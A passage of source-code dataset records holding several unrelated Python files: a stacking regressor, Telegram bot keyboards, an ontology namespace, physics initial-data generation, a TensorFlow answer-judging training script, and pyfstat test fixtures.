value['product']['stores'],\n value['product']['nutrition_grades'],\n f\"https://fr.openfoodfacts.org/produit/{value['product']['code']}\",\n category\n ))\n cnx.commit()\n cnx.close()\n\ndef main():\n from configuration import url_product\n db = Dbase\n db.create_tbl_recording()\n\nif __name__ == '__main__':\n main()","sub_path":"config/dbase.py","file_name":"dbase.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"573576452","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Feb 23 17:22:05 2020\r\n\r\n@author: hp\r\n\"\"\"\r\n\r\nimport requests\r\n\r\n\r\n\r\nurl = 'http://localhost:5000/predict_api'\r\n\r\nr = requests.post(url,json={'age':10, 'estimated_salary':1000})\r\n\r\n\r\n\r\nprint(r.json())","sub_path":"request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"41680360","text":"# --- SECTION 1 ---\r\n# Libraries\r\nimport numpy as np\r\n\r\nfrom sklearn.model_selection import KFold\r\nfrom copy import deepcopy\r\n\r\n\r\nclass StackingRegressor():\r\n\r\n # --- SECTION 2 ---\r\n # The constructor\r\n def __init__(self, learners):\r\n # Create a list of sizes for each stacking level\r\n # And a list of deep copied learners\r\n self.level_sizes = []\r\n self.learners = []\r\n for learning_level in learners:\r\n\r\n self.level_sizes.append(len(learning_level))\r\n level_learners = []\r\n for learner in learning_level:\r\n level_learners.append(deepcopy(learner))\r\n self.learners.append(level_learners)\r\n\r\n\r\n\r\n # --- SECTION 3 ---\r\n # The fit function. Creates training meta data for every level and trains\r\n # each level on the previous level's meta data\r\n def fit(self, x, y):\r\n # Create a list of training meta data, one for each stacking level\r\n # and another one for the targets. For the first level, the actual data\r\n # is used.\r\n meta_data = [x]\r\n meta_targets = [y]\r\n for i in range(len(self.learners)):\r\n level_size = self.level_sizes[i]\r\n\r\n # Create the meta data and target variables for this level\r\n data_z = np.zeros((level_size, len(x)))\r\n target_z = np.zeros(len(x))\r\n\r\n train_x = meta_data[i]\r\n train_y = meta_targets[i]\r\n\r\n # Create the cross-validation folds\r\n KF = KFold(n_splits=5)\r\n meta_index = 0\r\n for train_indices, test_indices in KF.split(x):\r\n # Train each learner on the K-1 folds and create\r\n # meta data for the Kth fold\r\n for j in range(len(self.learners[i])):\r\n\r\n learner = self.learners[i][j]\r\n learner.fit(train_x[train_indices], train_y[train_indices])\r\n predictions = learner.predict(train_x[test_indices])\r\n\r\n data_z[j][meta_index:meta_index+len(test_indices)] = predictions\r\n\r\n target_z[meta_index:meta_index+len(test_indices)] = train_y[test_indices]\r\n meta_index += len(test_indices)\r\n\r\n # Add the data and targets to the meta data lists\r\n data_z = data_z.transpose()\r\n meta_data.append(data_z)\r\n meta_targets.append(target_z)\r\n\r\n\r\n # Train the learner on the whole previous meta data\r\n for learner in self.learners[i]:\r\n learner.fit(train_x, train_y)\r\n\r\n\r\n\r\n\r\n\r\n\r\n # --- SECTION 4 ---\r\n # The predict function. Creates meta data for the test data and returns\r\n # all of them. The actual predictions can be accessed with meta_data[-1]\r\n def predict(self, x):\r\n\r\n # Create a list of training meta data, one for each stacking level\r\n meta_data = [x]\r\n for i in range(len(self.learners)):\r\n level_size = self.level_sizes[i]\r\n\r\n data_z = np.zeros((level_size, len(x)))\r\n\r\n test_x = meta_data[i]\r\n\r\n\r\n for j in range(len(self.learners[i])):\r\n\r\n learner = self.learners[i][j]\r\n predictions = learner.predict(test_x)\r\n data_z[j] = predictions\r\n\r\n\r\n\r\n # Add the data and targets to the meta data lists\r\n data_z = data_z.transpose()\r\n meta_data.append(data_z)\r\n\r\n # Return the meta_data the final layer's prediction can be accessed\r\n # With meta_data[-1]\r\n return meta_data\r\n\r\n","sub_path":"Chapter10/stacking_regressor.py","file_name":"stacking_regressor.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"582835435","text":"from telebot.types import ReplyKeyboardMarkup, InlineKeyboardMarkup, InlineKeyboardButton, KeyboardButton\nfrom helpers.role_helper import LIST_OF_ADMINS, LIST_OF_DEKANAT, LIST_OF_TEACHERS\nfrom emoji import emojize\n\n\nmenu_buttons = [\n f'{emojize(\":mag_right:\", use_aliases=True)} Пошук аудиторій',\n f'{emojize(\":bell:\", use_aliases=True)} Розклад дзвінків',\n f'{emojize(\":pencil:\", use_aliases=True)} Навчання',\n f'{emojize(\":books:\", use_aliases=True)} Викладачі',\n f'{emojize(\":tada:\", use_aliases=True)} Заходи',\n f'{emojize(\":page_facing_up:\", use_aliases=True)} Контакти',\n f'{emojize(\":briefcase:\", use_aliases=True)} Меню студдекана',\n f'{emojize(\":clipboard:\", use_aliases=True)} Меню деканату',\n f'{emojize(\":black_nib:\", use_aliases=True)} Меню викладача',\n f'{emojize(\":arrow_left:\", use_aliases=True)} Назад'\n]\n\nstuddekan_buttons = [\n f'{emojize(\":ledger:\", use_aliases=True)} Старости',\n f'{emojize(\":dollar:\", use_aliases=True)} Боржники',\n f'{emojize(\":calendar:\", use_aliases=True)} Організація заходів',\n f'{emojize(\":busts_in_silhouette:\", use_aliases=True)} Відвідування заходів',\n f'{emojize(\":heavy_plus_sign:\", use_aliases=True)} Нарахування дод. балів',\n f'{emojize(\":arrow_left:\", use_aliases=True)} Назад'\n]\n\n\nteacher_buttons = [\n f'{emojize(\":100:\", use_aliases=True)} Поставити оцінку',\n f'{emojize(\":memo:\", use_aliases=True)} Боржники',\n f'{emojize(\":notebook_with_decorative_cover:\", use_aliases=True)} Відправити файл/повідомлення',\n f'{emojize(\":arrow_left:\", use_aliases=True)} Назад'\n]\n\ndekanat_buttons = [\n f'{emojize(\":chart_with_upwards_trend:\", use_aliases=True)} Рейтинг старости',\n f'{emojize(\":sound:\", use_aliases=True)} Нагадати про журнали',\n f'{emojize(\":envelope:\", use_aliases=True)} Відправити повідомлення/файл',\n f'{emojize(\":bar_chart:\", use_aliases=True)} Рейтинг студентів',\n f'{emojize(\":arrow_left:\", use_aliases=True)} Назад'\n]\n\n\ndef make_menu_keyboard(message, other_fac):\n menu_keyboard = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=False, row_width=1)\n\n if other_fac:\n menu_keyboard.add(menu_buttons[0],\n menu_buttons[1])\n menu_keyboard.row(menu_buttons[4],\n menu_buttons[5])\n elif message.from_user.id in LIST_OF_ADMINS:\n menu_keyboard.add(menu_buttons[0],\n menu_buttons[1])\n menu_keyboard.row(menu_buttons[2],\n menu_buttons[3])\n menu_keyboard.row(menu_buttons[4],\n menu_buttons[5])\n menu_keyboard.add(menu_buttons[6])\n menu_keyboard.add(menu_buttons[7])\n menu_keyboard.add(menu_buttons[8])\n\n elif message.from_user.id in LIST_OF_DEKANAT:\n menu_keyboard.add(menu_buttons[0],\n menu_buttons[1],\n menu_buttons[5],\n menu_buttons[7])\n elif message.from_user.id in LIST_OF_TEACHERS:\n menu_keyboard.add(menu_buttons[0],\n menu_buttons[1],\n menu_buttons[5],\n menu_buttons[8])\n else:\n menu_keyboard.add(menu_buttons[0],\n menu_buttons[1])\n menu_keyboard.row(menu_buttons[2],\n menu_buttons[3])\n menu_keyboard.row(menu_buttons[4],\n menu_buttons[5])\n\n return menu_keyboard\n\n\ndef make_role_replykeyboard(buttons):\n role_keyboard = ReplyKeyboardMarkup(True, False)\n for button in buttons:\n role_keyboard.add(button)\n\n return role_keyboard\n\n\ndef make_headman_rate_keyboard(group_id, rating):\n headman_rate_keyboard = InlineKeyboardMarkup()\n headman_rate_keyboard.row(\n InlineKeyboardButton(text='-', callback_data=f'rateminus_{group_id}'),\n InlineKeyboardButton(text=f'{rating}', callback_data=f'{rating}'),\n InlineKeyboardButton(text='+', callback_data=f'rateplus_{group_id}')\n )\n return headman_rate_keyboard\n\n\ndef make_keyboard(keyboard_type, elem_list, marker):\n keyboard = InlineKeyboardMarkup(row_width=1)\n keys_list = []\n for elem in sorted(elem_list, key=lambda elem: elem.name):\n keys_list.append(InlineKeyboardButton(text=str(elem.name), callback_data=marker + str(elem.id)))\n\n if keyboard_type in ['event', 'student', 'teacher', 'subject', 'gradetype']:\n keyboard.add(*keys_list)\n elif keyboard_type == 'cathedra':\n keyboard.row(*keys_list[0:3])\n keyboard.row(*keys_list[3:7])\n elif keyboard_type == 'group':\n keyboard = ReplyKeyboardMarkup(row_width=3, one_time_keyboard=True)\n\n keys_list = []\n\n for elem in elem_list:\n keys_list.append(KeyboardButton(text=str(elem.name)))\n\n i = 0\n j = 3\n for _ in range(len(keys_list)):\n keyboard.add(*keys_list[i:j])\n i += 3\n j += 3\n\n return keyboard\n","sub_path":"keyboards/keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":5293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"141791655","text":"\"\"\"\n.. module:: DSO\n\n Translated by owl2rdflib\n\n Translated to RDFlib from ontology http://www.semanticweb.org/directory-service-ontology#\n\n :Date 03/02/2021 07:16:48\n\"\"\"\nfrom rdflib import URIRef\nfrom rdflib.namespace import ClosedNamespace\n\nDSO = ClosedNamespace(\n uri=URIRef('http://www.semanticweb.org/directory-service-ontology#'),\n terms=[\n # Classes\n 'Register',\n 'RegisterResult',\n 'RegisterAction',\n 'Deregister',\n 'InfoAgent',\n 'ServiceAgent',\n 'Search',\n 'SolverAgent',\n 'Modify',\n\n # Object properties\n 'AgentType',\n\n # Data properties\n 'Uri',\n 'Name',\n 'Address',\n \n # Named Individuals\n 'FlightsAgent',\n 'HotelsAgent',\n 'TravelServiceAgent',\n 'PersonalAgent',\n 'WeatherAgent',\n 'PaymentAgent',\n 'AgenteInteracciones',\n 'AgenteGestorDeCancelaciones',\n 'AgenteGestorDePagos',\n 'AgenteInteracciones',\n 'AgenteObtenedorDeOfertasDeActividades',\n 'AgenteObtenedorDeOfertasDeAlojamiento',\n 'AgenteObtenedorDeOfertasDeDesplazamiento',\n 'AgenteProcesador',\n 'SimplyDirectoryService',\n 'AgenciasDeTransporte',\n 'AgenteUsuario',\n 'CentrosDeActividades',\n 'HotelesYotrosAlojamientos',\n 'ServicioDeClima'\n\n ]\n)\n","sub_path":"AgentUtil/DSO.py","file_name":"DSO.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"55548076","text":"import numpy as np\nfrom scipy.integrate import solve_ivp\nfrom scipy.interpolate import interp1d\n\nphi0 = 0.0001\nr0 = 7\ndelta = 5\nq = 2.\n\ndef genSim(tag,phi0,r0,delta,q):\n\tdef phi(r,phi0,r0,delta,q):\n\t phi = phi0*r**3*np.exp(-((r-r0)/delta)**q)\n\t return phi\n\t\n\tdef dphidr(r,phi0,r0,delta,q):\n\t\ta = 3*phi0*np.exp(-((r-r0)/delta)**q)*r**2\n\t\tb = (phi0*np.exp(-((r-r0)/delta)**q)*q*r**3*((r-r0)/delta)**(q-1))/delta\n\t\treturn a-b\n\t\n\tdef schwarzschild(M,r):\n\t\treturn 1.+M/2./r\n\t\n\tr_axis = np.arange(1e-10,100003*0.01,0.01)\n\tdphi_interp = interp1d(r_axis,np.gradient(phi(r_axis,phi0,r0,delta,q),r_axis),bounds_error=False,fill_value='extrapolate')\n\t\n\tdef RHS(r,y):\n\t\treturn [y[1],-np.pi*y[0]*dphidr(r,phi0,r0,delta,q)**2-2*y[1]/r]\n\t\n\ty = solve_ivp(RHS,[1e-10,1001],np.array([1.,0.]),t_eval=r_axis,rtol = 3e-14,atol = 1e-20).y\n\t\n\tnp.savetxt('alpha'+tag+'.csv',np.ones(r_axis.size))\n\t#np.savetxt('phi'+tag+'.csv',np.zeros(r_axis.size))#phi(r_axis,phi0,r0,delta,q))\n\tnp.savetxt('phi'+tag+'.csv',phi(r_axis,phi0,r0,delta,q))\n\tnp.savetxt('psi'+tag+'.csv',y[0])#schwarzschild(20,r_axis))\n\tnp.savetxt('Pi'+tag+'.csv',np.zeros(r_axis.size))\n\n\n","sub_path":"BSSN_SF/InitialData/Create_initial_data.py","file_name":"Create_initial_data.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"92021176","text":"import json\nimport os\nfrom metric_model_utils import train\nimport tensorflow as tf\nimport sys\n#from test import test\nimport random\nimport pickle\nimport numpy as np\nfrom data_stream_final import DataStream\nfrom metric_judge_model import AnswerUnderstander\nfrom me_utils_final23 import read_file, make_instances_parallel, \\\n make_corpus, generate_vocabulary, \\\n split_train_dev, split_train_dev_2, drop_instances_to_excel, \\\n gather_question_dict, split_template_choose, gather_samples, \\\n gather_targets_for_samples\nfrom bert_encoder import BertEncoder\nfrom w2v_encoder import W2VEncoder\n\n# def train_model():\nif __name__ == \"__main__\":\n #np.random.seed(200)\n with open('metric_judge_config.json', encoding='utf-8') as infile:\n config = json.load(infile)\n\n int2bool = {1: True, 0: False}\n data_path = config[\"train_config\"][\"DATA_PATH\"]\n data_path_x = config[\"train_config\"][\"DATA_PATH_x\"]\n data_path_xp = config[\"train_config\"][\"DATA_PATH_xp\"]\n data_path_xn = config[\"train_config\"][\"DATA_PATH_xn\"]\n sentiment_words_path = config[\"train_config\"][\"SENTIMENT_WORDS_PATH\"]\n max_sequence_len = config[\"train_config\"][\"MAX_SEQUENCE_LEN\"]\n batch_size = config[\"train_config\"][\"BATCH_SIZE\"]\n is_shuffle = int2bool[config[\"train_config\"][\"IS_SHUFFLE\"]]\n is_loop = int2bool[config[\"train_config\"][\"Is_LOOP\"]]\n is_sort = int2bool[config[\"train_config\"][\"IS_SORT\"]]\n nb_epoch = config[\"train_config\"][\"NB_EPOCH\"]\n dropout_rate = config[\"train_config\"][\"DROPOUT_RATE\"]\n nb_classes = config[\"train_config\"][\"NB_CLASSES\"]\n attention_dim = config[\"train_config\"][\"ATTENTION_DIM\"]\n nb_hops = config[\"train_config\"][\"NB_HOPS\"]\n use_bert = int2bool[config[\"train_config\"][\"USE_BERT\"]]\n optimizer = config[\"train_config\"][\"OPTIMIZER\"]\n learning_rate = config[\"train_config\"][\"LEARNING_RATE\"]\n grad_clipper = config[\"train_config\"][\"GRAD_CLIPPER\"]\n drop_train_path_x = config[\"train_config\"][\"DROP_TRAIN_PATH_x\"]\n drop_path_x = config[\"train_config\"][\"DROP_CHOOSE_DEV_PATH_x\"]\n drop_template_path_x = config[\"train_config\"][\"DROP_CHOOSE_TEMPLATE_PATH_x\"]\n drop_train_path_xp = config[\"train_config\"][\"DROP_TRAIN_PATH_xp\"]\n drop_path_xp = config[\"train_config\"][\"DROP_CHOOSE_DEV_PATH_xp\"]\n drop_template_path_xp = config[\"train_config\"][\"DROP_CHOOSE_TEMPLATE_PATH_xp\"]\n drop_train_path_xn = config[\"train_config\"][\"DROP_TRAIN_PATH_xn\"]\n drop_path_xn = config[\"train_config\"][\"DROP_CHOOSE_DEV_PATH_xn\"]\n drop_template_path_xn = config[\"train_config\"][\"DROP_CHOOSE_TEMPLATE_PATH_xn\"]\n best_path = config[\"train_config\"][\"BEST_PATH\"]\n question2targets_path = config[\"train_config\"][\"QUESTION2TARGETS_PATH\"]\n use_extra_feature = config[\"train_config\"][\"USE_EXTRA_FEATURE\"]\n ner_dict_size = config[\"train_config\"][\"NER_DICT_SIZE\"]\n pos_dict_size = config[\"train_config\"][\"POS_DICT_SIZE\"]\n extra_feature_dim = config[\"train_config\"][\"EXTRA_FEATURE_DIM\"]\n ner_dict_path = config[\"train_config\"][\"NER_DICT_PATH\"]\n pos_dict_path = config[\"train_config\"][\"POS_DICT_PATH\"]\n rnn_dim = config[\"train_config\"][\"RNN_DIM\"]\n lambda_l2 = config[\"train_config\"][\"LAMBDA_L2\"]\n sentiment_polarity_multiple = config[\"train_config\"][\"POLARITY_MULTIPLE\"]\n pretrained_model = config[\"train_config\"][\"PRETRAINED_MODEL\"]\n\n use_w2v = True\n if use_bert:\n use_w2v = False\n\n char_w2v_path_x = config[\"w2v_config_x\"][\"CHAR_W2V_PATH_x\"]\n char_voc_path_x = config[\"w2v_config_x\"][\"CHAR_VOC_PATH_x\"]\n char_embedding_matrix_path_x = config[\"w2v_config_x\"][\n \"CHAR_EMBEDDING_MATRIX_PATH_x\"]\n word_w2v_path_x = config[\"w2v_config_x\"][\"WORD_W2V_PATH_x\"]\n word_voc_path_x = config[\"w2v_config_x\"][\"WORD_VOC_PATH_x\"]\n word_embedding_matrix_path_x = config[\"w2v_config_x\"][\n \"WORD_EMBEDDING_MATRIX_PATH_x\"]\n char_w2v_path_xp = config[\"w2v_config_xp\"][\"CHAR_W2V_PATH_xp\"]\n char_voc_path_xp = config[\"w2v_config_xp\"][\"CHAR_VOC_PATH_xp\"]\n char_embedding_matrix_path_xp = config[\"w2v_config_xp\"][\n \"CHAR_EMBEDDING_MATRIX_PATH_xp\"]\n word_w2v_path_xp = config[\"w2v_config_xp\"][\"WORD_W2V_PATH_xp\"]\n word_voc_path_xp = config[\"w2v_config_xp\"][\"WORD_VOC_PATH_xp\"]\n word_embedding_matrix_path_xp = config[\"w2v_config_xp\"][\n \"WORD_EMBEDDING_MATRIX_PATH_xp\"]\n char_w2v_path_xn = config[\"w2v_config_xn\"][\"CHAR_W2V_PATH_xn\"]\n char_voc_path_xn = config[\"w2v_config_xn\"][\"CHAR_VOC_PATH_xn\"]\n char_embedding_matrix_path_xn = config[\"w2v_config_xn\"][\n \"CHAR_EMBEDDING_MATRIX_PATH_xn\"]\n word_w2v_path_xn = config[\"w2v_config_xn\"][\"WORD_W2V_PATH_xn\"]\n word_voc_path_xn = config[\"w2v_config_xn\"][\"WORD_VOC_PATH_xn\"]\n word_embedding_matrix_path_xn = config[\"w2v_config_xn\"][\n \"WORD_EMBEDDING_MATRIX_PATH_xn\"]\n\n bert_model_path = config[\"bert_config\"][\"BERT_MODEL_PATH\"]\n bert_config_file = config[\"bert_config\"][\"CONFIG_FILE\"]\n bert_checkpoint_path = config[\"bert_config\"][\"INIT_CHECKPOINT\"]\n bert_voc_path = config[\"bert_config\"][\"VOC_FILE\"]\n sen2id_path = config[\"bert_config\"][\"SEN2ID_PATH\"]\n samples, _, _ = read_file(data_path)\n samples_x, _, _ = read_file(data_path_x)\n samples_xp, _, _ = read_file(data_path_xp)\n samples_xn, _, _ = read_file(data_path_xn)\n \n \n ans_max_len = config[\"train_config\"][\"ANS_MAX_LEN\"]\n que_max_len = config[\"train_config\"][\"QUE_MAX_LEN\"]\n char_corpus_x, word_corpus_x = make_corpus(samples_x)\n char_corpus_xp, word_corpus_xp = make_corpus(samples_xp)\n char_corpus_xn, word_corpus_xn = make_corpus(samples_xn)\n # default sen2id from char_corpus\n sen2id_x = generate_vocabulary(sen2id_path, char_corpus_x)\n sen2id_xp = generate_vocabulary(sen2id_path, char_corpus_xp)\n sen2id_xn = generate_vocabulary(sen2id_path, char_corpus_xn)\n question2targets = gather_targets_for_samples(samples, True,\n question2targets_path)\n bert_max_seq_len_x = max([len(sen) for sen in sen2id_x.keys()]) + 2\n bert_max_seq_len_xp = max([len(sen) for sen in sen2id_xp.keys()]) + 2\n bert_max_seq_len_xn = max([len(sen) for sen in sen2id_xn.keys()]) + 2\n max_sequence_len_x = max(bert_max_seq_len_x, max_sequence_len)\n max_sequence_len_xp = max(bert_max_seq_len_xp, max_sequence_len)\n max_sequence_len_xn = max(bert_max_seq_len_xn, max_sequence_len)\n bert_max_seq_len_x = max_sequence_len_x\n bert_max_seq_len_xp = max_sequence_len_xp\n bert_max_seq_len_xn = max_sequence_len_xn\n\n # question2index = gather_question_dict(samples)\n # question2index, question2template = split_template_choose(samples, question2index)\n # samples_template = gather_samples(samples, question2template)\n # samples = gather_samples(samples, question2index)\n\n w2v_encoder_x = W2VEncoder(True, char_corpus_x, word_corpus_x,\n char_w2v_path_x, char_voc_path_x,\n char_embedding_matrix_path_x, word_w2v_path_x,\n word_voc_path_x, word_embedding_matrix_path_x)\n w2v_encoder_xp = W2VEncoder(True, char_corpus_xp, word_corpus_xp,\n char_w2v_path_xp, char_voc_path_xp,\n char_embedding_matrix_path_xp, word_w2v_path_xp,\n word_voc_path_xp, word_embedding_matrix_path_xp)\n w2v_encoder_xn = W2VEncoder(True, char_corpus_xn, word_corpus_xn,\n char_w2v_path_xn, char_voc_path_xn,\n char_embedding_matrix_path_xn, word_w2v_path_xn,\n word_voc_path_xn, word_embedding_matrix_path_xn)\n bert_encoder_x = BertEncoder(model_root=bert_model_path,\n bert_config_file=bert_config_file,\n init_checkpoint=bert_checkpoint_path,\n vocab_file=bert_voc_path,\n max_sequence_len=bert_max_seq_len_x,\n embedding_batch=3,\n embedding_matrix_path=None,\n sen2id_path=sen2id_path,\n vec_dim=768)\n bert_encoder_xp = BertEncoder(model_root=bert_model_path,\n bert_config_file=bert_config_file,\n init_checkpoint=bert_checkpoint_path,\n vocab_file=bert_voc_path,\n max_sequence_len=bert_max_seq_len_xp,\n embedding_batch=3,\n embedding_matrix_path=None,\n sen2id_path=sen2id_path,\n vec_dim=768)\n bert_encoder_xn = BertEncoder(model_root=bert_model_path,\n bert_config_file=bert_config_file,\n init_checkpoint=bert_checkpoint_path,\n vocab_file=bert_voc_path,\n max_sequence_len=bert_max_seq_len_xn,\n embedding_batch=3,\n embedding_matrix_path=None,\n sen2id_path=sen2id_path,\n vec_dim=768)\n\n # ins_template = make_instances(samples_template,\n # w2v_encoder.char_voc,\n # w2v_encoder.word_voc,\n # sentiment_words_path,\n # ner_dict_path=ner_dict_path,\n # pos_dict_path=pos_dict_path,\n # use_extra_feature=use_extra_feature,\n # question2targets=question2targets,\n # is_training=True,\n # need_augment=True)\n instances_x = make_instances_parallel(samples_x,\n w2v_encoder_x.char_voc,\n w2v_encoder_x.word_voc,\n sentiment_words_path,\n ner_dict_path=ner_dict_path,\n pos_dict_path=pos_dict_path,\n use_extra_feature=use_extra_feature,\n question2targets=question2targets,\n is_training=True,\n need_augment=False)\n instances_xp = make_instances_parallel(samples_xp,\n w2v_encoder_xp.char_voc,\n w2v_encoder_xp.word_voc,\n sentiment_words_path,\n ner_dict_path=ner_dict_path,\n pos_dict_path=pos_dict_path,\n use_extra_feature=use_extra_feature,\n question2targets=question2targets,\n is_training=True,\n need_augment=False)\n instances_xn = make_instances_parallel(samples_xn,\n w2v_encoder_xn.char_voc,\n w2v_encoder_xn.word_voc,\n sentiment_words_path,\n ner_dict_path=ner_dict_path,\n pos_dict_path=pos_dict_path,\n use_extra_feature=use_extra_feature,\n question2targets=question2targets,\n is_training=True,\n need_augment=False)\n instances_train_x, instances_dev_x = split_train_dev(instances_x)\n instances_train_xp, instances_dev_xp = split_train_dev(instances_xp)\n instances_train_xn, instances_dev_xn = split_train_dev(instances_xn)\n #np.random.shuffle(instances_train)\n #np.random.shuffle(instances_dev)\n drop_instances_to_excel(instances_train_x, drop_train_path_x)\n drop_instances_to_excel(instances_train_xp, drop_train_path_xp)\n drop_instances_to_excel(instances_train_xn, drop_train_path_xn)\n drop_instances_to_excel(instances_dev_x, drop_path_x)\n drop_instances_to_excel(instances_dev_xp, drop_path_xp)\n drop_instances_to_excel(instances_dev_xn, drop_path_xn)\n drop_instances_to_excel(instances_x, 'temp_x.xlsx')\n drop_instances_to_excel(instances_xp, 'temp_xp.xlsx')\n drop_instances_to_excel(instances_xn, 'temp_xn.xlsx')\n # drop_instances_to_excel(ins_template, drop_template_path)\n instances_train_x, instances_valid_x = split_train_dev_2(instances_train_x)\n instances_train_xp, instances_valid_xp = split_train_dev_2(instances_train_xp)\n instances_train_xn, instances_valid_xn = split_train_dev_2(instances_train_xn)\n #np.random.shuffle(instances_train) \n #np.random.shuffle(instances_valid)\n\n data_stream_train_x = DataStream(instances=instances_train_x,\n is_shuffle=False,\n is_loop=is_loop,\n batch_size=batch_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n use_bert=use_bert,\n bert_encoder=bert_encoder_x,\n is_sort=is_sort)\n data_stream_train_xp = DataStream(instances=instances_train_xp,\n is_shuffle=False,\n is_loop=is_loop,\n batch_size=batch_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n use_bert=use_bert,\n bert_encoder=bert_encoder_xp,\n is_sort=is_sort)\n data_stream_train_xn = DataStream(instances=instances_train_xn,\n is_shuffle=False,\n is_loop=is_loop,\n batch_size=batch_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n use_bert=use_bert,\n bert_encoder=bert_encoder_xn,\n is_sort=is_sort)\n data_stream_valid_x = DataStream(instances=instances_valid_x,\n is_shuffle=False,\n is_loop=is_loop,\n batch_size=batch_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n use_bert=use_bert,\n bert_encoder=bert_encoder_x,\n is_sort=is_sort)\n data_stream_valid_xp = DataStream(instances=instances_valid_xp,\n is_shuffle=False,\n is_loop=is_loop,\n batch_size=batch_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n use_bert=use_bert,\n bert_encoder=bert_encoder_xp,\n is_sort=is_sort)\n data_stream_valid_xn = DataStream(instances=instances_valid_xn,\n is_shuffle=False,\n is_loop=is_loop,\n batch_size=batch_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n use_bert=use_bert,\n bert_encoder=bert_encoder_xn,\n is_sort=is_sort)\n\n\n with tf.Graph().as_default():\n \n initializer = tf.glorot_uniform_initializer()\n global_step = tf.train.get_or_create_global_step()\n with tf.variable_scope(\"Model\", reuse=False, initializer=initializer):\n answer_understander_train = AnswerUnderstander(\n use_bert=use_bert,\n use_w2v=use_w2v,\n rnn_unit='lstm',\n dropout_rate=dropout_rate,\n optimizer=optimizer,\n learning_rate=learning_rate,\n grad_clipper=grad_clipper,\n global_step=global_step,\n attention_dim=attention_dim,\n nb_hops=nb_hops,\n rnn_dim=rnn_dim,\n lambda_l2=lambda_l2,\n is_training=True,\n sentiment_polarity_multiple=sentiment_polarity_multiple,\n nb_classes=nb_classes,\n use_extra_feature=use_extra_feature,\n ner_dict_size=ner_dict_size,\n pos_dict_size=pos_dict_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n extra_feature_dim=extra_feature_dim,\n char_w2v_embedding_matrix_path_x=char_embedding_matrix_path_x,\n word_w2v_embedding_matrix_path_x=word_embedding_matrix_path_x,\n char_w2v_embedding_matrix_path_xp=char_embedding_matrix_path_xp,\n word_w2v_embedding_matrix_path_xp=word_embedding_matrix_path_xp,\n char_w2v_embedding_matrix_path_xn=char_embedding_matrix_path_xn,\n word_w2v_embedding_matrix_path_xn=word_embedding_matrix_path_xn)\n \n with tf.variable_scope(\"Model\", reuse=True, initializer=initializer):\n answer_understander_valid = AnswerUnderstander(\n use_bert=use_bert,\n use_w2v=use_w2v,\n rnn_unit='lstm',\n dropout_rate=dropout_rate,\n optimizer=optimizer,\n learning_rate=learning_rate,\n grad_clipper=grad_clipper,\n global_step=None,\n attention_dim=attention_dim,\n nb_hops=nb_hops,\n rnn_dim=rnn_dim,\n lambda_l2=lambda_l2,\n is_training=False,\n sentiment_polarity_multiple=sentiment_polarity_multiple,\n nb_classes=nb_classes,\n use_extra_feature=use_extra_feature,\n ner_dict_size=ner_dict_size,\n pos_dict_size=pos_dict_size,\n ans_max_len=ans_max_len,\n que_max_len=que_max_len,\n extra_feature_dim=extra_feature_dim,\n char_w2v_embedding_matrix_path_x=char_embedding_matrix_path_x,\n word_w2v_embedding_matrix_path_x=word_embedding_matrix_path_x,\n char_w2v_embedding_matrix_path_xp=char_embedding_matrix_path_xp,\n word_w2v_embedding_matrix_path_xp=word_embedding_matrix_path_xp,\n char_w2v_embedding_matrix_path_xn=char_embedding_matrix_path_xn,\n word_w2v_embedding_matrix_path_xn=word_embedding_matrix_path_xn)\n saver = tf.train.Saver()\n sess = tf.Session()\n initializer = tf.global_variables_initializer()\n sess.run(initializer)\n print('begin training...')\n train(nb_epoch=nb_epoch,\n sess=sess,\n saver=saver,\n data_stream_train_x=data_stream_train_x,\n data_stream_train_xp=data_stream_train_xp,\n data_stream_train_xn=data_stream_train_xn,\n data_stream_valid_x=data_stream_valid_x,\n data_stream_valid_xp=data_stream_valid_xp,\n data_stream_valid_xn=data_stream_valid_xn,\n answer_understander_train=answer_understander_train,\n answer_understander_valid=answer_understander_valid,\n best_path=best_path)\n\n#if __name__ == \"__main__\":\n # train_model()\n","sub_path":"UCINet/metric_judge_train.py","file_name":"metric_judge_train.py","file_ext":"py","file_size_in_byte":19902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"644338820","text":"import lalpulsar\nimport pytest\n\nfrom pyfstat.utils import (\n copy_FstatAtomVector,\n extract_singleIFOmultiFatoms_from_multiAtoms,\n)\n\n\n@pytest.fixture\ndef arbitrary_singleAtoms():\n single_atoms = lalpulsar.CreateFstatAtomVector(5)\n\n single_atoms.TAtom = 1800\n\n for i in range(single_atoms.length):\n for attr in [\n \"timestamp\",\n \"a2_alpha\",\n \"b2_alpha\",\n \"ab_alpha\",\n \"Fa_alpha\",\n \"Fb_alpha\",\n ]:\n setattr(single_atoms.data[i], attr, i)\n\n return single_atoms\n\n\n@pytest.fixture\ndef arbitrary_multiAtoms(arbitrary_singleAtoms):\n ma = lalpulsar.CreateMultiFstatAtomVector(1)\n ma.data[0] = arbitrary_singleAtoms\n return ma\n\n\ndef compare_FstatAtomVector(vectorA, vectorB):\n for attr in [\"TAtom\", \"length\"]:\n assert getattr(vectorA, attr) == getattr(vectorB, attr)\n\n for i in range(vectorA.length):\n for attr 